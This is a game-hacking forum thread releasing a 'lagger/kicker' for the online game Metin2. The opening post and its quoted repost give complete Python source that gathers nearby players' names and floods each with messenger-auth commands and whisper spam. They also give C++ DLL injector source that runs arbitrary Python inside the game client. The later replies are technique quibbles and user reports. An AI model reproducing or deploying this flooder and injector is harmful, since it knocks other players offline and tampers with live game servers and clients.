|
You last visited: Today at 15:36
Advertisement
[Release][GF]Lagger/Kicker
Discussion on [Release][GF]Lagger/Kicker within the Metin2 Hacks, Bots, Cheats, Exploits & Macros forum part of the Metin2 category.
12/29/2014, 21:39
|
#1
|
elite*gold: 0
Join Date: Jul 2013
Posts: 33
Received Thanks: 106
|
[Release][GF]Lagger/Kicker
Hi everyone,
Today morning I found out a new way to simulate a huge lag at the players, or even kick them out. This hack sends a chat message to the server with the following content:
Code:
/messenger_auth x [Player name]
..and server sends a message to the target player with the following content:
" xy doesn't allowed to add you as contact"
Overall how it works?
The hack gets the name of players around you, and floods the above said command to each of them.
Each of them?
Yes, so you receive the best result if you're on the most popular map.
Every player gets kicked, is it 100%?
No. It also depends on their network and hardware.
How can I use it?
1. Download and drop the mt2_injector.mix and flooder.py to the client folder.
2. Start the game
3. Write " flooder.py" to the command window
Can you share the source?
Yes, here is the source of the currently working injector and python file:
Python part:
Code:
import ui
import m2net
import chr
import player
class Flooder(ui.BoardWithTitleBar):
def __init__(self):
ui.BoardWithTitleBar.__init__(self)
self.AddFlag("movable")
self.AddFlag("float")
self.SetPosition(10,10)
self.SetSize(100,150)
self.SetTitleName("Flooder")
# Start flood button
floodBtn = ui.Button()
floodBtn.SetParent(self)
floodBtn.SetPosition(20,35)
floodBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
floodBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
floodBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
floodBtn.SetText("Flood")
floodBtn.SetEvent(lambda:self.OnStart())
floodBtn.Show()
self.floodBtn = floodBtn
# Stop flood button
stopBtn = ui.Button()
stopBtn.SetParent(self)
stopBtn.SetPosition(20,70)
stopBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
stopBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
stopBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
stopBtn.SetText("Stop")
stopBtn.SetEvent(lambda:self.OnStop())
stopBtn.Show()
self.stopBtn = stopBtn
# Get around players button
aroundBtn = ui.Button()
aroundBtn.SetParent(self)
aroundBtn.SetPosition(20, 110)
aroundBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
aroundBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
aroundBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
aroundBtn.SetText("Get arounds")
aroundBtn.SetEvent(lambda:self.OnGetAroundPlayers())
aroundBtn.Show()
self.aroundBtn = aroundBtn
self.AroundPlayers = []
self.IsFlood = 0
self.Show()
def __del__(self):
ui.BoardWithTitleBar.__del__(self)
# Starts the flooding
def OnStart(self):
self.SetTitleName("Flooding") # Change the text of the window to the current players name
self.IsFlood = 1 # Start the flooding
# Stops the flooding
def OnStop(self):
self.SetTitleName("Flooder") # Change the text of the window to 'Flooder'
self.IsFlood = 0 # Stop the flooding
# Gets the nearly players
def OnGetAroundPlayers(self):
self.AroundPlayers = [] # Clear the list which contains the name of nearly players
for i in xrange(100, 4000000): # Check virtual IDs between 100 and 4000000
if chr.HasInstance(i): # If the current virtual ID exist
Name = chr.GetNameByVID(i) # Get the name of the current virtual ID owner
if chr.GetInstanceType(i) == chr.INSTANCE_TYPE_PLAYER and Name != player.GetName() and Name[0] != "[": # If the current virtual ID owner is PC, it's not me and it's not a game master
self.AroundPlayers.append(Name) # Add the name of the current player to the list
def OnUpdate(self):
if self.IsFlood == 1: # If the flooding enabled
for Name in self.AroundPlayers: # Go through each player in the list
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
Flooder()
Injector:
Code:
#include <io.h>
#include <string>
#include <fcntl.h>
#include <Windows.h>
#include "python.h"
enum
{
FILE_NAME_MAX_LEN = 50
};
VOID Inject(VOID);
VOID CreateConsole(VOID);
DWORD WINAPI Reader(LPVOID);
CHAR Name[FILE_NAME_MAX_LEN];
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateConsole();
CreateThread(NULL, NULL, Reader, NULL, NULL, NULL);
break;
}
return TRUE;
}
DWORD WINAPI Reader(LPVOID)
{
while (TRUE)
{
printf("File name: ");
fgets(Name, FILE_NAME_MAX_LEN, stdin);
Name[strlen(Name) - 1] = '\0';
Inject();
}
return FALSE;
}
VOID Inject(VOID)
{
PyRun_SimpleFileEx(PyFile_AsFile(PyFile_FromString(Name, "r")), Name, TRUE);
}
VOID CreateConsole(VOID)
{
int hConHandle;
long lStdHandle;
CONSOLE_SCREEN_BUFFER_INFO coninfo;
FILE *fp;
AllocConsole();
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &coninfo);
coninfo.dwSize.Y = 1500;
SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), coninfo.dwSize);
lStdHandle = (long)GetStdHandle(STD_OUTPUT_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "w");
*stdout = *fp;
setvbuf(stdout, NULL, _IONBF, 0);
lStdHandle = (long)GetStdHandle(STD_INPUT_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "r");
*stdin = *fp;
setvbuf(stdin, NULL, _IONBF, 0);
lStdHandle = (long)GetStdHandle(STD_ERROR_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "w");
*stderr = *fp;
setvbuf(stderr, NULL, _IONBF, 0);
std::ios::sync_with_stdio();
}
Virustotal:

Download:
Kind Regards,
Sanchez
|
|
|
12/29/2014, 21:50
|
#2
|
elite*gold: 0
Join Date: Dec 2014
Posts: 442
Received Thanks: 211
|
Quote:
Originally Posted by Sanchez_x
Hi everyone,
Today morning I found out a new way to simulate a huge lag at the players, or even kick them out. This hack sends a chat message to the server with the following content:
Code:
/messenger_auth x [Player name]
..and server sends a message to the target player with the following content:
" xy doesn't allowed to add you as contact"
Overall how it works?
The hack gets the name of players around you, and floods the above said command to each of them.
Each of them?
Yes, so you receive the best result if you're on the most popular map.
Every player gets kicked, is it 100%?
No. It also depends on their network and hardware, but I also added the already known PM flooder which is highly increase the possibility of the kick.
How can I use it?
1. Download and drop the mt2_injector.mix and flooder.py to the client folder.
2. Start the game
3. Write " flooder.py" to the command window
Can you share the source?
Yes, here is the source of the currently working injector and python file:
Python part:
Code:
import ui
import m2net
import chr
import player
class Flooder(ui.BoardWithTitleBar):
def __init__(self):
ui.BoardWithTitleBar.__init__(self)
self.AddFlag("movable")
self.AddFlag("float")
self.SetPosition(10,10)
self.SetSize(100,150)
self.SetTitleName("Flooder")
# Start flood button
floodBtn = ui.Button()
floodBtn.SetParent(self)
floodBtn.SetPosition(20,35)
floodBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
floodBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
floodBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
floodBtn.SetText("Flood")
floodBtn.SetEvent(lambda:self.OnStart())
floodBtn.Show()
self.floodBtn = floodBtn
# Stop flood button
stopBtn = ui.Button()
stopBtn.SetParent(self)
stopBtn.SetPosition(20,70)
stopBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
stopBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
stopBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
stopBtn.SetText("Stop")
stopBtn.SetEvent(lambda:self.OnStop())
stopBtn.Show()
self.stopBtn = stopBtn
# Get around players button
aroundBtn = ui.Button()
aroundBtn.SetParent(self)
aroundBtn.SetPosition(20, 110)
aroundBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
aroundBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
aroundBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
aroundBtn.SetText("Get arounds")
aroundBtn.SetEvent(lambda:self.OnGetAroundPlayers())
aroundBtn.Show()
self.aroundBtn = aroundBtn
self.AroundPlayers = []
self.IsFlood = 0
self.Message = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
self.Show()
def __del__(self):
ui.BoardWithTitleBar.__del__(self)
# Starts the flooding
def OnStart(self):
self.SetTitleName("Flooding") # Change the text of the window to the current players name
self.IsFlood = 1 # Start the flooding
# Stops the flooding
def OnStop(self):
self.SetTitleName("Flooder") # Change the text of the window to 'Flooder'
self.IsFlood = 0 # Stop the flooding
# Gets the nearly players
def OnGetAroundPlayers(self):
self.AroundPlayers = [] # Clear the list which contains the name of nearly players
for i in xrange(100, 4000000): # Check virtual IDs between 100 and 4000000
if chr.HasInstance(i): # If the current virtual ID exist
Name = chr.GetNameByVID(i) # Get the name of the current virtual ID owner
if chr.GetInstanceType(i) == chr.INSTANCE_TYPE_PLAYER and Name != player.GetName() and Name[0] != "[": # If the current virtual ID owner is PC, it's not me and it's not a game master
self.AroundPlayers.append(Name) # Add the name of the current player to the list
def OnUpdate(self):
if self.IsFlood == 1: # If the flooding enabled
for Name in self.AroundPlayers: # Go through each player in the list
m2net.SendWhisperPacket(Name, self.Message) # Send the whisper packet
m2net.SendWhisperPacket(Name, self.Message) # Send the whisper packet
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
Flooder()
Injector:
Code:
#include <io.h>
#include <string>
#include <fcntl.h>
#include <Windows.h>
#include "python.h"
enum
{
FILE_NAME_MAX_LEN = 50
};
VOID Inject(VOID);
VOID CreateConsole(VOID);
DWORD WINAPI Reader(LPVOID);
CHAR Name[FILE_NAME_MAX_LEN];
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateConsole();
CreateThread(NULL, NULL, Reader, NULL, NULL, NULL);
break;
}
return TRUE;
}
DWORD WINAPI Reader(LPVOID)
{
while (TRUE)
{
printf("File name: ");
fgets(Name, FILE_NAME_MAX_LEN, stdin);
Name[strlen(Name) - 1] = '\0';
Inject();
}
return FALSE;
}
VOID Inject(VOID)
{
PyRun_SimpleFileEx(PyFile_AsFile(PyFile_FromString(Name, "r")), Name, TRUE);
}
VOID CreateConsole(VOID)
{
int hConHandle;
long lStdHandle;
CONSOLE_SCREEN_BUFFER_INFO coninfo;
FILE *fp;
AllocConsole();
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &coninfo);
coninfo.dwSize.Y = 1500;
SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), coninfo.dwSize);
lStdHandle = (long)GetStdHandle(STD_OUTPUT_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "w");
*stdout = *fp;
setvbuf(stdout, NULL, _IONBF, 0);
lStdHandle = (long)GetStdHandle(STD_INPUT_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "r");
*stdin = *fp;
setvbuf(stdin, NULL, _IONBF, 0);
lStdHandle = (long)GetStdHandle(STD_ERROR_HANDLE);
hConHandle = _open_osfhandle(lStdHandle, _O_TEXT);
fp = _fdopen(hConHandle, "w");
*stderr = *fp;
setvbuf(stderr, NULL, _IONBF, 0);
std::ios::sync_with_stdio();
}
Virustotal:
Download:
Kind Regards,
Sanchez
|
Why are people always using Python embedding in C++ when there is actually no need!?
Just use inline assembly or send the packet with SendPacket instead of unstable code such as the one you have provided.
|
|
|
12/29/2014, 22:15
|
#3
|
elite*gold: 405
Join Date: Dec 2007
Posts: 6,615
Received Thanks: 6,358
|
Quote:
Originally Posted by _asm
Why are people always using Python embedding in C++ when there is actually no need!?
Just use inline assembly or send the packet with SendPacket instead of unstable code such as the one you have provided.
|
You should use as little inline assembly as possible, only for hook-trampolines
|
|
|
12/30/2014, 13:44
|
#4
|
elite*gold: 260
Join Date: Oct 2011
Posts: 153
Received Thanks: 52
|
It works, well. It doesn't works in middle town (Then you crash yourself). And it doesn't crash or give a lag to people at all. I tested it with another char. I do get the messages but it doesn't crash me or gives me a lag.
Bisides it is pretty annoying.
|
|
|
12/30/2014, 16:30
|
#5
|
elite*gold: 0
Join Date: Jan 2013
Posts: 145
Received Thanks: 6
|
Just GF or PServers too?
|
|
|
12/30/2014, 16:36
|
#6
|
elite*gold: 0
Join Date: Jul 2013
Posts: 33
Received Thanks: 106
|
It works on private servers too, but it's probably fixed by their owners.
|
|
|
12/30/2014, 17:46
|
#7
|
elite*gold: 0
Join Date: Aug 2013
Posts: 33
Received Thanks: 5
|
the command window it's open fine but when I write flooder.py
the client close
+
can you make hack only using python
no need for c++
the command window it's open fine but when I write flooder.py
the client close
+
can you make hack only using python
no need for c++
|
|
|
12/30/2014, 19:18
|
#8
|
elite*gold: 0
Join Date: Nov 2010
Posts: 43
Received Thanks: 10
|
Just load the *.py then
|
|
|
12/30/2014, 22:19
|
#9
|
elite*gold: 260
Join Date: Oct 2011
Posts: 153
Received Thanks: 52
|
It's fine, you just need to type it when u are logged in in city or something.
|
|
|
12/30/2014, 23:44
|
#10
|
elite*gold: 0
Join Date: Jan 2013
Posts: 145
Received Thanks: 6
|
I open The client and type flooder.py in the window and the client close instant... i do it on login screen, at loading screen and ingame screen but even instant close...
please help me
|
|
|
12/31/2014, 10:12
|
#11
|
elite*gold: 0
Join Date: Sep 2009
Posts: 95
Received Thanks: 14
|
not working ...
|
|
|
12/31/2014, 17:35
|
#12
|
elite*gold: 0
Join Date: Mar 2012
Posts: 56
Received Thanks: 13
|
Thank You !!
|
|
|
12/31/2014, 18:08
|
#13
|
elite*gold: 103
Join Date: Aug 2014
Posts: 1,425
Received Thanks: 315
|
Does it work? on GF?
|
|
|
01/01/2015, 09:38
|
#14
|
elite*gold: 0
Join Date: Aug 2013
Posts: 33
Received Thanks: 5
|
I use muiltihack kamer and I run the code but noting happend
|
|
|
01/01/2015, 15:08
|
#15
|
elite*gold: 260
Join Date: Oct 2011
Posts: 153
Received Thanks: 52
|
Quote:
Originally Posted by .0x404ŽErr0xR
Does it work? on GF?
|
It does inject en the window for the hack does pop up, but the hack itself actuelly only works outside town and it doesn't lag or dc people (On my NL server).
|
|
|
All times are GMT +1. The time now is 15:39.
|
|